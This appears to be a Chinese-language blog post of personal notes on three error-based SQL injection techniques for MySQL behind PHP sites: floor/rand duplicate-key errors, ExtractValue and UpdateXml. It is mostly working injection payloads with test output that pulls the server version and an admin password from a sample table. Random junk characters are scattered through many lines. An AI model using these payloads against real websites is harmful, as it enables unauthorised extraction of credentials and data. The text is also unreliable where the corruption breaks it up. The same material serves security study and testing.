关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
/ f$ p( a+ E! \! \1 \4 ]实际测试环境：
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mysql> show tables;
* J) W+ I6 k/ p2 v1 s8 r1 T4 m) [+----------------+
, O" W- k- \! {" C$ G, t8 m% h| Tables_in_test |
+----------------+
| admin          |
- H0 s# x& O3 G3 e| article        |
0 v; v' p9 q$ G  |9 M+----------------+

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mysql> describe admin;
8 [+ A: d2 r( ?+-------+------------------+------+-----+---------+----------------+
; w" Y+ o# N. @| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
. c6 c' N7 X( `( E3 B! || user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+



mysql> describe article;
! Q" l) p+ r: e/ U% a+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
8 h- s* i( m  K+ i+---------+------------------+------+-----+---------+----------------+
+ N! Y' T% h- [+ {1、通过floor报错
可以通过如下一些利用代码
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and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

1 e$ ^6 M5 G; G. N: S' l$ V4 \
7 [' |9 n& ^' f1 k5 V; F0 K5 _! ]% qand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
1 N( z- S) Y* p/ O( [+ Ufloor(rand(0)*2)));
举例如下：
  C; L( Q$ W2 @7 `' }: ]; }: J首先进行正常查询：

mysql> select * from article where id = 1;
5 `2 m0 b8 s$ T+----+-------+---------+
| id | title | content |
7 G( o, L3 E. v* L6 K" z2 J! S3 E+----+-------+---------+
# }% j; b7 F* B; Z, V|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。

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' C" d# x" U7 ]' I& Z7 ~) J! Tmysql> select * from article where id = 1 and (select 1 from
  f/ \$ s8 C4 H6 G; A(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
5 [, ]/ T) a) L; w* jERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
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mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
9 g, A2 W0 K* _# m3 Y3 o) ~2 Cfrom information_schema.tables group by x)a);
! F8 b- i3 E) _. L2 tERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
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. J$ d/ @1 a5 \& h( dmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
! m- X2 P+ u4 z( s0 kfloor(rand(0)*2)));
5 Y2 b- n0 _6 o& hERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
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- x1 u7 Q" k0 z/ m  `8 v' P5 W/ }- }and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
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mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
$ f9 X( s/ W, _1 R& P. XERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
) L0 x# u4 n" Z7 {测试语句
! S7 G) s0 `1 A$ z8 @1 T( R2 \
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. E2 @5 O- U& X- V5 pand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
) x  D$ s7 x* C% s8 z实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
  A8 ~, n5 _$ z5 qERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
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